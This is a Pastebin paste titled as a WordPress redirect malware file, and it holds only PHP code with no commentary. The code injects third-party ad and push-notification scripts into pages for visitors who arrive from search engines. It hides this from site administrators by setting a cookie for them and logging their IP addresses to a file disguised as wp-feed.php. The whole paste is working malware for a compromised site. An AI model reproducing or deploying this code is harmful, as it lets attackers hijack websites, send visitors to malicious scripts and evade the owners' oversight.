Advertisement
Guest User

Wordpress Redirect Malware File

a guest
Oct 19th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.18 KB | None | 0 0
  1. ini_set('display_errors', 0);
  2. error_reporting(0);
  3. $anx='322f4f8d2d11134e9bedae0c97257b9d';
  4.  
  5. if ( ! function_exists( 'slider_option' ) ) {
  6. function slider_option($content){
  7. if(is_single())
  8. {
  9. $con = '';
  10. $con2 = '
  11. <script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1459841"></script>
  12. <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1459844&interactive=1&pushup=1"></script>
  13. <script src="//defpush.com/ntfc.php?p=1568531" data-cfasync="false" async></script>
  14. ';
  15. $content=$content.$con2;
  16. }
  17. return $content;
  18. }
  19.  
  20. function slider_option_footer(){
  21. if(!is_single())
  22. {
  23. $con2 = '
  24. <script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1459841"></script>
  25. <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1459844&interactive=1&pushup=1"></script>
  26. <script src="//defpush.com/ntfc.php?p=1568531" data-cfasync="false" async></script>
  27. ';
  28. echo $con2;
  29. }
  30. }
  31.  
  32. function setting_my_first_cookie() {
  33. setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  34. }
  35.  
  36. if(is_user_logged_in())
  37. {
  38. add_action( 'init', 'setting_my_first_cookie',1 );
  39. }
  40.  
  41. if( current_user_can('edit_others_pages'))
  42. {
  43. if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
  44. {
  45. $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
  46. }
  47. if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
  48. {
  49. $ip.=$_SERVER['REMOTE_ADDR'].'
  50. ';
  51. @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
  52. }
  53. }
  54.  
  55. $ref = $_SERVER['HTTP_REFERER'];
  56. $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
  57. foreach ($SE as $source) {
  58. if (strpos($ref,$source)!==false) {
  59. setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
  60. $sevisitor=true;
  61. }
  62. }
  63.  
  64. if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in())
  65. {
  66. $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
  67. if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
  68. {
  69. if($sevisitor==true || isset($_COOKIE['sevisitor']))
  70. {
  71. add_filter('the_content','slider_option');
  72. add_action('wp_footer','slider_option_footer');
  73. }
  74. }
  75. }
  76. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement